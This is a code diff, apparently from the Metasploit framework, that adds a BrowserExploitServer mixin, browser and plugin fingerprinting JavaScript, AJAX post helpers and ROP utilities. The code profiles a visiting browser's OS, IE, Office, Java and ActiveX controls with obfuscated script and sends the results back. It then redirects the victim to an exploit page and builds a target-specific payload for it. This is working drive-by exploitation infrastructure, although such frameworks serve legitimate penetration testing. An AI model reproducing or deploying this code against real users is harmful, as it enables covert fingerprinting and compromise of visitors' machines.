Land #2613, @wchen-r7's BrowserExploitServer mixin
commit
ef6d9db48f
|
@ -1,9 +1,47 @@
|
|||
window.addons_detect = { };
|
||||
window.ie_addons_detect = { };
|
||||
|
||||
/**
|
||||
* Returns true if this ActiveX is available, otherwise false.
|
||||
* Grabbed this directly from browser_autopwn.rb
|
||||
**/
|
||||
window.ie_addons_detect.hasActiveX = function (axo_name, method) {
|
||||
var axobj = null;
|
||||
if (axo_name.substring(0,1) == String.fromCharCode(123)) {
|
||||
axobj = document.createElement("object");
|
||||
axobj.setAttribute("classid", "clsid:" + axo_name);
|
||||
axobj.setAttribute("id", axo_name);
|
||||
axobj.setAttribute("style", "visibility: hidden");
|
||||
axobj.setAttribute("width", "0px");
|
||||
axobj.setAttribute("height", "0px");
|
||||
document.body.appendChild(axobj);
|
||||
if (typeof(axobj[method]) == 'undefined') {
|
||||
var attributes = 'id="' + axo_name + '"';
|
||||
attributes += ' classid="clsid:' + axo_name + '"';
|
||||
attributes += ' style="visibility: hidden"';
|
||||
attributes += ' width="0px" height="0px"';
|
||||
document.body.innerHTML += "<object " + attributes + "></object>";
|
||||
axobj = document.getElementById(axo_name);
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
axobj = new ActiveXObject(axo_name);
|
||||
} catch(e) {
|
||||
// If we can't build it with an object tag and we can't build it
|
||||
// with ActiveXObject, it can't be built.
|
||||
return false;
|
||||
};
|
||||
}
|
||||
if (typeof(axobj[method]) != 'undefined') {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
};
|
||||
|
||||
/**
|
||||
* Returns the version of Microsoft Office. If not found, returns null.
|
||||
**/
|
||||
window.addons_detect.getMsOfficeVersion = function () {
|
||||
window.ie_addons_detect.getMsOfficeVersion = function () {
|
||||
var version;
|
||||
var types = new Array();
|
||||
for (var i=1; i <= 5; i++) {
|
|
@ -0,0 +1,64 @@
|
|||
window.misc_addons_detect = { };
|
||||
|
||||
/**
|
||||
* Returns the Java version
|
||||
**/
|
||||
window.misc_addons_detect.getJavaVersion = function () {
|
||||
var foundVersion = null;
|
||||
|
||||
//
|
||||
// This finds the Java version from Java WebStart's ActiveX control
|
||||
// This is specific to Windows
|
||||
//
|
||||
for (var i1=0; i1 < 10; i1++) {
|
||||
for (var i2=0; i2 < 10; i2++) {
|
||||
for (var i3=0; i3 < 10; i3++) {
|
||||
for (var i4=0; i4 < 10; i4++) {
|
||||
var version = String(i1) + "." + String(i2) + "." + String(i3) + "." + String(i4);
|
||||
var progId = "JavaWebStart.isInstalled." + version;
|
||||
try {
|
||||
new ActiveXObject(progId);
|
||||
return version;
|
||||
}
|
||||
catch (e) {
|
||||
continue;
|
||||
}
|
||||
}}}}
|
||||
|
||||
//
|
||||
// This finds the Java version from window.navigator.mimeTypes
|
||||
// This seems to work pretty well for most browsers except for IE
|
||||
//
|
||||
if (foundVersion == null) {
|
||||
var mimes = window.navigator.mimeTypes;
|
||||
for (var i=0; i<mimes.length; i++) {
|
||||
var m = /java.+;version=(.+)/.exec(mimes[i].type);
|
||||
if (m) {
|
||||
var version = parseFloat(m[1]);
|
||||
if (version > foundVersion) {
|
||||
foundVersion = version;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// This finds the Java version from navigator plugins
|
||||
// This is necessary for Windows + Firefox setup, but the check isn't as good as the mime one.
|
||||
// So we do this last.
|
||||
//
|
||||
if (foundVersion == null) {
|
||||
var foundJavaString = "";
|
||||
var pluginsCount = navigator.plugins.length;
|
||||
for (i=0; i < pluginsCount; i++) {
|
||||
var pluginName = navigator.plugins[i].name;
|
||||
var pluginVersion = navigator.plugins[i].version;
|
||||
if (/Java/.test(pluginName) && pluginVersion != undefined) {
|
||||
foundVersion = navigator.plugins[i].version;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return foundVersion;
|
||||
}
|
|
@ -867,6 +867,12 @@ window.os_detect.getVersion = function(){
|
|||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "10016720":
|
||||
// IE 10.0.9200.16721 / Windows 7 SP1
|
||||
ua_version = "10.0";
|
||||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "1000":
|
||||
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
|
||||
ua_version = "10.0";
|
||||
|
|
|
@ -1,25 +1,16 @@
|
|||
function ajax_download(oArg) {
|
||||
var method = oArg.method;
|
||||
var path = oArg.path;
|
||||
var data = oArg.data;
|
||||
if (!oArg.method) { oArg.method = "GET"; }
|
||||
if (!oArg.path) { throw "Missing parameter 'path'"; }
|
||||
if (!oArg.data) { oArg.data = null; }
|
||||
|
||||
if (method == undefined) { method = "GET"; }
|
||||
if (method == path) { throw "Missing parameter 'path'"; }
|
||||
if (data == undefined) { data = null; }
|
||||
|
||||
if (window.XMLHttpRequest) {
|
||||
xmlHttp = new XMLHttpRequest();
|
||||
}
|
||||
else {
|
||||
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
|
||||
}
|
||||
var xmlHttp = new XMLHttpRequest();
|
||||
|
||||
if (xmlHttp.overrideMimeType) {
|
||||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||||
}
|
||||
|
||||
xmlHttp.open(method, path, false);
|
||||
xmlHttp.send(data);
|
||||
xmlHttp.open(oArg.method, oArg.path, false);
|
||||
xmlHttp.send(oArg.data);
|
||||
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
||||
return xmlHttp.responseText;
|
||||
}
|
||||
|
|
|
@ -0,0 +1,10 @@
|
|||
function postInfo(path, data) {
|
||||
var xmlHttp = new XMLHttpRequest();
|
||||
|
||||
if (xmlHttp.overrideMimeType) {
|
||||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||||
}
|
||||
|
||||
xmlHttp.open('POST', path, false);
|
||||
xmlHttp.send(data);
|
||||
}
|
|
@ -0,0 +1,15 @@
|
|||
if (!window.XMLHTTPRequest) {
|
||||
(function() {
|
||||
var idx, activeObjs = ["Microsoft.XMLHTTP", "Msxml2.XMLHTTP", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0"];
|
||||
for (idx = 0; idx < activeObjs.length; idx++) {
|
||||
try {
|
||||
new ActiveXObject(activeObjs[idx]);
|
||||
window.XMLHttpRequest = function() {
|
||||
return new ActiveXObject(activeObjs[idx]);
|
||||
};
|
||||
break;
|
||||
}
|
||||
catch (e) {}
|
||||
}
|
||||
})();
|
||||
}
|
|
@ -681,14 +681,6 @@ protected
|
|||
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
|
||||
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
|
||||
], Exploit::Remote::HttpServer::HTML)
|
||||
|
||||
# Cache Javascript
|
||||
@cache_base64 = nil
|
||||
@cache_ajax_download = nil
|
||||
@cache_mstime_malloc = nil
|
||||
@cache_property_spray = nil
|
||||
@cache_heap_spray = nil
|
||||
@cache_os_detect = nil
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -747,6 +739,14 @@ protected
|
|||
end
|
||||
|
||||
|
||||
#
|
||||
# Transfers data using a POST request
|
||||
#
|
||||
def js_ajax_post
|
||||
@cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
|
||||
# suitable for a no-spray technique. There should be an allocation that contains an array of
|
||||
|
@ -816,6 +816,14 @@ protected
|
|||
@cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
|
||||
end
|
||||
|
||||
def js_ie_addons_detect
|
||||
@cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons
|
||||
end
|
||||
|
||||
def js_misc_addons_detect
|
||||
@cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons
|
||||
end
|
||||
|
||||
# Transmits a html response to the supplied client
|
||||
#
|
||||
# HTML evasions are implemented here.
|
||||
|
|
|
@ -97,3 +97,5 @@ require 'msf/core/exploit/winrm'
|
|||
|
||||
# WebApp
|
||||
require 'msf/core/exploit/web'
|
||||
|
||||
require 'msf/core/exploit/remote/browser_exploit_server'
|
||||
|
|
|
@ -0,0 +1,503 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'erb'
|
||||
require 'rex/exploitation/js'
|
||||
|
||||
###
|
||||
#
|
||||
# The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser
|
||||
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
|
||||
#
|
||||
###
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::BrowserExploitServer
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
PROXY_REQUEST_HEADER_SET = Set.new(
|
||||
%w{
|
||||
CLIENT_IP
|
||||
FORWARDED
|
||||
FORWARDED_FOR
|
||||
FORWARDED_FOR_IP
|
||||
HTTP_CLIENT_IP
|
||||
HTTP_FORWARDED
|
||||
HTTP_FORWARDED_FOR
|
||||
HTTP_FORWARDED_FOR_IP
|
||||
HTTP_PROXY_CONNECTION
|
||||
HTTP_VIA
|
||||
HTTP_X_FORWARDED
|
||||
HTTP_X_FORWARDED_FOR
|
||||
VIA
|
||||
X_FORWARDED
|
||||
X_FORWARDED_FOR
|
||||
})
|
||||
|
||||
# Requirements a browser module can define in either BrowserRequirements or in targets
|
||||
REQUIREMENT_KEY_SET = {
|
||||
:source => 'source', # Either 'script' or 'headers'
|
||||
:ua_name => 'ua_name', # Example: MSIE
|
||||
:ua_ver => 'ua_ver', # Example: 8.0, 9.0
|
||||
:os_name => 'os_name', # Example: Microsoft Windows
|
||||
:os_flavor => 'os_flavor', # Example: XP, 7
|
||||
:language => 'language', # Example: en-us
|
||||
:arch => 'arch', # Example: x86
|
||||
:proxy => 'proxy', # 'true' or 'false'
|
||||
:office => 'office', # Example: "2007", "2010"
|
||||
:java => 'java', # Example: 1.6, 1.6.0.0
|
||||
:clsid => 'clsid', # ActiveX clsid. Also requires the :method key
|
||||
:method => 'method' # ActiveX method. Also requires the :clsid key
|
||||
}
|
||||
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
# The mixin keeps 'target' so module doesn't lose it.
|
||||
@target = target
|
||||
|
||||
# See get_profile's documentation to understand what @target_profiles stores
|
||||
@target_profiles = {}
|
||||
|
||||
# Requirements are conditions that the browser must have in order to be exploited.
|
||||
@requirements = extract_requirements(self.module_info['BrowserRequirements'] || {})
|
||||
|
||||
@info_receiver_page = rand_text_alpha(5)
|
||||
@exploit_receiver_page = rand_text_alpha(6)
|
||||
@noscript_receiver_page = rand_text_alpha(7)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('Retries', [false, "Allow the browser to retry the module", true])
|
||||
], Exploit::Remote::BrowserExploitServer)
|
||||
end
|
||||
|
||||
#
|
||||
# Syncs a block of code
|
||||
#
|
||||
# @param block [Proc] Block of code to sync
|
||||
#
|
||||
def sync(&block)
|
||||
(@mutex ||= Mutex.new).synchronize(&block)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the resource (URI) to the module to allow access to on_request_exploit
|
||||
#
|
||||
# @return [String] URI to the exploit page
|
||||
#
|
||||
def get_module_resource
|
||||
"#{get_resource.chomp("/")}/#{@exploit_receiver_page}"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the current target
|
||||
#
|
||||
def get_target
|
||||
@target
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a hash of recognizable requirements
|
||||
#
|
||||
# @param reqs [Hash] A hash that contains data for the requirements
|
||||
# @return [Hash] A hash of requirements
|
||||
#
|
||||
def extract_requirements(reqs)
|
||||
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.has_key?(k.to_sym)}
|
||||
# Make sure keys are always symbols
|
||||
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the target automatically based on what requirements are met.
|
||||
# If there's a possible matching target, it will also merge the requirements.
|
||||
# You can use the get_target() method to retrieve the most current target.
|
||||
#
|
||||
# @param profile [Hash] The profile to check
|
||||
#
|
||||
def try_set_target(profile)
|
||||
match_counts = []
|
||||
target_requirements = {}
|
||||
|
||||
targets.each do |t|
|
||||
target_requirements = extract_requirements(t.opts)
|
||||
if target_requirements.blank?
|
||||
match_counts << 0
|
||||
else
|
||||
match_counts << target_requirements.select { |k,v|
|
||||
if v.class == Regexp
|
||||
profile[k] =~ v
|
||||
else
|
||||
profile[k] == v
|
||||
end
|
||||
}.length
|
||||
end
|
||||
end
|
||||
|
||||
if match_counts.max.to_i > 0
|
||||
@target = targets[match_counts.index(match_counts.max)]
|
||||
target_requirements = extract_requirements(@target.opts)
|
||||
unless target_requirements.blank?
|
||||
@requirements = @requirements.merge(target_requirements)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of items that do not meet the requirements
|
||||
#
|
||||
# @param profile [Hash] The profile to check
|
||||
# @return [Array] An array of requirements not met
|
||||
#
|
||||
def get_bad_requirements(profile)
|
||||
bad_reqs = []
|
||||
|
||||
# At this point the check is already done.
|
||||
# If :activex is true, that means the clsid + method had a match,
|
||||
# if not, then false.
|
||||
if @requirements[:clsid] and @requirements[:method]
|
||||
@requirements[:activex] = 'true' # Script passes boolean as string
|
||||
end
|
||||
|
||||
@requirements.each do |k, v|
|
||||
# Special keys to ignore because the script registers this as [:activex] = true or false
|
||||
next if k == :clsid or k == :method
|
||||
|
||||
if v.class == Regexp
|
||||
bad_reqs << k if profile[k.to_sym] !~ v
|
||||
else
|
||||
bad_reqs << k if profile[k.to_sym] != v
|
||||
end
|
||||
end
|
||||
|
||||
bad_reqs
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the target profile based on the tag. Each profile has the following structure:
|
||||
# 'cookie' =>
|
||||
# {
|
||||
# :os_name => 'Windows',
|
||||
# :os_flavor => 'something'
|
||||
# ...... etc ......
|
||||
# }
|
||||
# A profile should at least have info about the following:
|
||||
# :source : The data source. Either from 'script', or 'headers'. The 'script' source
|
||||
# should be more accurate in some scenarios like browser compatibility mode
|
||||
# :ua_name : The name of the browser
|
||||
# :ua_ver : The version of the browser
|
||||
# :os_name : The name of the OS
|
||||
# :os_flavor : The flavor of the OS (example: XP)
|
||||
# :language : The system's language
|
||||
# :arch : The system's arch
|
||||
# :proxy : Indicates whether proxy is used
|
||||
#
|
||||
# For more info about what the actual value might be for each key, see HttpServer.
|
||||
#
|
||||
# If the source is 'script', the profile might have even more information about plugins:
|
||||
# 'office' : The version of Microsoft Office (IE only)
|
||||
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
|
||||
# 'java' : The Java version
|
||||
#
|
||||
# @param tag [String] Either a cookie or IP + User-Agent
|
||||
# @return [Hash] The profile found. If not found, returns nil
|
||||
#
|
||||
def get_profile(tag)
|
||||
sync do
|
||||
return @target_profiles[tag]
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Updates information for a specific profile
|
||||
#
|
||||
# @param target_profile [Hash] The profile to update
|
||||
# @param key [Symbol] The symbol to use for the hash
|
||||
# @param value [String] The value to assign
|
||||
#
|
||||
def update_profile(target_profile, key, value)
|
||||
sync do
|
||||
target_profile[key] = value
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes a profile
|
||||
#
|
||||
# @param tag [String] A unique string as a way to ID the profile
|
||||
#
|
||||
def init_profile(tag)
|
||||
sync do
|
||||
@target_profiles[tag] = {}
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Retrieves a tag.
|
||||
# First it obtains the tag from the browser's "Cookie" header.
|
||||
# If the header is empty (possible if the browser has cookies disabled),
|
||||
# then it will return a tag based on IP + the user-agent.
|
||||
#
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def retrieve_tag(request)
|
||||
tag = request.headers['Cookie'].to_s
|
||||
|
||||
if tag.blank?
|
||||
# Browser probably doesn't allow cookies, plan B :-/
|
||||
ip = cli.peerhost
|
||||
os = request.headers['User-Agent']
|
||||
tag = Rex::Text.md5("#{ip}#{os}")
|
||||
end
|
||||
|
||||
tag
|
||||
end
|
||||
|
||||
#
|
||||
# Registers target information to @target_profiles
|
||||
#
|
||||
# @param source [Symbol] Either :script, or :headers
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def process_browser_info(source, cli, request)
|
||||
tag = retrieve_tag(request)
|
||||
|
||||
# Browser doesn't allow cookies. Can't track that, use a different way to track.
|
||||
init_profile(tag) if request.headers['Cookie'].blank?
|
||||
target_info = get_profile(tag)
|
||||
|
||||
# Gathering target info from the detection stage
|
||||
case source
|
||||
when :script
|
||||
# Gathers target data from a POST request
|
||||
update_profile(target_info, :source, 'script')
|
||||
raw = Rex::Text.uri_decode(Rex::Text.decode_base64(request.body))
|
||||
raw.split('&').each do |item|
|
||||
k, v = item.scan(/(\w+)=(.*)/).flatten
|
||||
update_profile(target_info, k.to_sym, v)
|
||||
end
|
||||
|
||||
when :headers
|
||||
# Gathers target data from headers
|
||||
# This may be less accurate, and most likely less info.
|
||||
fp = fingerprint_user_agent(request.headers['User-Agent'])
|
||||
# Module has all the info it needs, ua_string is kind of pointless.
|
||||
# Kill this to save space.
|
||||
fp.delete(:ua_string)
|
||||
update_profile(target_info, :source, 'headers')
|
||||
fp.each do |k, v|
|
||||
update_profile(target_info, k.to_sym, v)
|
||||
end
|
||||
end
|
||||
|
||||
# Other detections
|
||||
update_profile(target_info, :proxy, has_proxy?(request))
|
||||
update_profile(target_info, :language, request.headers['Accept-Language'] || '')
|
||||
|
||||
report_client({
|
||||
:host => cli.peerhost,
|
||||
:ua_string => request.headers['User-Agent'],
|
||||
:ua_name => target_info[:ua_name],
|
||||
:ua_ver => target_info[:ua_ver]
|
||||
})
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the target is running a proxy
|
||||
#
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
# @return [Boolean] True if found, otherwise false
|
||||
#
|
||||
def has_proxy?(request)
|
||||
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
|
||||
!proxy_header_set.empty?
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the code for client-side detection
|
||||
#
|
||||
# @param user_agent [String] The user-agent of the browser
|
||||
# @return [String] Returns the HTML for detection
|
||||
#
|
||||
def get_detection_html(user_agent)
|
||||
ua_info = fingerprint_user_agent(user_agent)
|
||||
os = ua_info[:os_name]
|
||||
client = ua_info[:ua_name]
|
||||
|
||||
code = ERB.new(%Q|
|
||||
<%= js_base64 %>
|
||||
<%= js_os_detect %>
|
||||
<%= js_ajax_post %>
|
||||
<%= js_misc_addons_detect %>
|
||||
<%= js_ie_addons_detect if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
|
||||
|
||||
function objToQuery(obj) {
|
||||
var q = [];
|
||||
for (var key in obj) {
|
||||
q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key]));
|
||||
}
|
||||
return Base64.encode(q.join('&'));
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
var osInfo = window.os_detect.getVersion();
|
||||
var d = {
|
||||
"<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name,
|
||||
"<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor,
|
||||
"<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name,
|
||||
"<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version,
|
||||
"<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch,
|
||||
"<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion()
|
||||
};
|
||||
|
||||
<% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
|
||||
d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion();
|
||||
<%
|
||||
clsid = @requirements[:clsid]
|
||||
method = @requirements[:method]
|
||||
if clsid and method
|
||||
%>
|
||||
d['activex'] = window.ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
||||
<% end %>
|
||||
<% end %>
|
||||
|
||||
var query = objToQuery(d);
|
||||
postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query);
|
||||
window.location = "<%=get_resource.chomp("/")%>/<%=@exploit_receiver_page%>/";
|
||||
}
|
||||
|).result(binding())
|
||||
|
||||
js = ::Rex::Exploitation::JSObfu.new code
|
||||
js.obfuscate
|
||||
|
||||
%Q|
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
<noscript>
|
||||
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
|
||||
<meta http-equiv="refresh" content="1; url=#{get_resource.chomp("/")}/#{@exploit_receiver_page}/">
|
||||
</noscript>
|
||||
|
|
||||
end
|
||||
|
||||
#
|
||||
# Handles exploit stages.
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def on_request_uri(cli, request)
|
||||
case request.uri
|
||||
when get_resource.chomp("/")
|
||||
#
|
||||
# This is the information gathering stage
|
||||
#
|
||||
if get_profile(retrieve_tag(request))
|
||||
send_redirect(cli, "#{get_resource.chomp("/")}/#{@exploit_receiver_page}")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Gathering target information.")
|
||||
tag = Rex::Text.rand_text_alpha(rand(20) + 5)
|
||||
ua = request.headers['User-Agent']
|
||||
init_profile(tag)
|
||||
html = get_detection_html(ua)
|
||||
send_response(cli, html, {'Set-Cookie' => tag})
|
||||
|
||||
when /#{@info_receiver_page}/
|
||||
#
|
||||
# The detection code will hit this if Javascript is enabled
|
||||
#
|
||||
process_browser_info(source=:script, cli, request)
|
||||
send_response(cli, '')
|
||||
|
||||
when /#{@noscript_receiver_page}/
|
||||
#
|
||||
# The detection code will hit this instead of Javascript is disabled
|
||||
# Should only be triggered by the img src in <noscript>
|
||||
#
|
||||
process_browser_info(source=:headers, cli, request)
|
||||
send_not_found(cli)
|
||||
|
||||
when /#{@exploit_receiver_page}/
|
||||
#
|
||||
# This sends the actual exploit. A module should define its own
|
||||
# on_request_exploit() to get the target information
|
||||
#
|
||||
tag = retrieve_tag(request)
|
||||
profile = get_profile(tag)
|
||||
if profile[:tried] and datastore['Retries'] == false
|
||||
print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
|
||||
send_not_found(cli)
|
||||
else
|
||||
update_profile(profile, :tried, true)
|
||||
try_set_target(profile)
|
||||
bad_reqs = get_bad_requirements(profile)
|
||||
if bad_reqs.empty?
|
||||
method(:on_request_exploit).call(cli, request, profile)
|
||||
else
|
||||
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}")
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Overriding method. The module should override this.
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
# @param browser_info [Hash] The target profile
|
||||
#
|
||||
def on_request_exploit(cli, request, browser_info)
|
||||
raise NoMethodError, "Module must define its own on_request_exploit method"
|
||||
end
|
||||
|
||||
#
|
||||
# Converts an ERB-based exploit template into HTML, and sends to client
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param template [String] The ERB template. If you want to pass the binding object,
|
||||
# then this is handled as an Array, with the first element
|
||||
# being the HTML, and the second element is the binding object.
|
||||
# @param headers [Hash] The custom HTTP headers to include in the response
|
||||
#
|
||||
def send_exploit_html(cli, template, headers={})
|
||||
html = ''
|
||||
if template.class == Array
|
||||
html = ERB.new(template[0]).result(template[1])
|
||||
else
|
||||
html = ERB.new(template).result
|
||||
end
|
||||
send_response(cli, html, headers)
|
||||
end
|
||||
|
||||
#
|
||||
# Generates a target-specific payload, should be called by the module
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param browser_info [Hash] The target profile
|
||||
# @return [String] The payload
|
||||
#
|
||||
def get_payload(cli, browser_info)
|
||||
arch = browser_info[:arch]
|
||||
platform = browser_info[:os_name]
|
||||
|
||||
# Fix names for consisntecy so our API can find the right one
|
||||
# Originally defined in lib/msf/core/constants.rb
|
||||
platform = platform.gsub(/^Mac OS X$/, 'OSX')
|
||||
platform = platform.gsub(/^Microsoft Windows$/, 'Windows')
|
||||
|
||||
regenerate_payload(cli, platform, arch).encoded
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -31,5 +31,13 @@ module Exploit::RopDb
|
|||
return rop_payload
|
||||
end
|
||||
|
||||
def rop_junk
|
||||
rand_text_alpha(4).unpack("V")[0].to_i
|
||||
end
|
||||
|
||||
def rop_nop
|
||||
make_nops(4).unpack("V")[0].to_i
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -39,13 +39,25 @@ class Detect
|
|||
|
||||
|
||||
#
|
||||
# Provides javascript functions to determine addon information.
|
||||
# Provides javascript functions to determine IE addon information.
|
||||
#
|
||||
# getMsOfficeVersion(): Returns the version for Microsoft Office
|
||||
#
|
||||
def self.addons(custom_js = '')
|
||||
def self.ie_addons(custom_js = '')
|
||||
js = custom_js
|
||||
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "addons.js"))
|
||||
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "ie_addons.js"))
|
||||
|
||||
Rex::Exploitation::JSObfu.new(js)
|
||||
end
|
||||
|
||||
#
|
||||
# Provides javascript functions that work for all browsers to determine addon information
|
||||
#
|
||||
# getJavaVersion(): Returns the Java version
|
||||
#
|
||||
def self.misc_addons(custom_js = '')
|
||||
js = custom_js
|
||||
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "misc_addons.js"))
|
||||
|
||||
Rex::Exploitation::JSObfu.new(js)
|
||||
end
|
||||
|
|
|
@ -11,10 +11,40 @@ module Js
|
|||
#
|
||||
class Network
|
||||
|
||||
def self.ajax_download
|
||||
# @param [Hash] opts the options hash
|
||||
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
|
||||
# @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
|
||||
# defaults to true.
|
||||
# @return [String] javascript code to perform a synchronous ajax request to the remote
|
||||
# and returns the response
|
||||
def self.ajax_download(opts={})
|
||||
should_obfuscate = opts.fetch(:obfuscate, true)
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_download.js"))
|
||||
|
||||
::Rex::Exploitation::ObfuscateJS.new(js,
|
||||
if should_obfuscate
|
||||
js = ::Rex::Exploitation::ObfuscateJS.new(js,
|
||||
{
|
||||
'Symbols' => {
|
||||
'Variables' => %w{ xmlHttp oArg }
|
||||
}
|
||||
}).obfuscate
|
||||
end
|
||||
|
||||
xhr_shim(opts) + js
|
||||
end
|
||||
|
||||
# @param [Hash] opts the options hash
|
||||
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
|
||||
# @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
|
||||
# defaults to true.
|
||||
# @return [String] javascript code to perform a synchronous ajax request to the remote with
|
||||
# the data specified
|
||||
def self.ajax_post(opts={})
|
||||
should_obfuscate = opts.fetch(:obfuscate, true)
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_post.js"))
|
||||
|
||||
if should_obfuscate
|
||||
js = ::Rex::Exploitation::ObfuscateJS.new(js,
|
||||
{
|
||||
'Symbols' => {
|
||||
'Variables' => %w{ xmlHttp }
|
||||
|
@ -22,6 +52,32 @@ class Network
|
|||
}).obfuscate
|
||||
end
|
||||
|
||||
xhr_shim(opts) + js
|
||||
end
|
||||
|
||||
# @param [Hash] opts the options hash
|
||||
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
|
||||
# @option opts [Boolean] :inject_xhr_shim false causes this method to return ''. defaults to true.
|
||||
# @return [String] javascript code that adds XMLHttpRequest to the global scope if it
|
||||
# does not exist (e.g. on IE6, where you have to use the ActiveXObject constructor)
|
||||
def self.xhr_shim(opts={})
|
||||
return '' unless opts.fetch(:inject_xhr_shim, true)
|
||||
|
||||
should_obfuscate = opts.fetch(:obfuscate, true)
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "xhr_shim.js"))
|
||||
|
||||
if should_obfuscate
|
||||
js = ::Rex::Exploitation::ObfuscateJS.new(js,
|
||||
{
|
||||
'Symbols' => {
|
||||
'Variables' => %w{ activeObjs idx }
|
||||
}
|
||||
}
|
||||
).obfuscate
|
||||
end
|
||||
js
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,21 +8,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::IE,
|
||||
:ua_minver => "6.0",
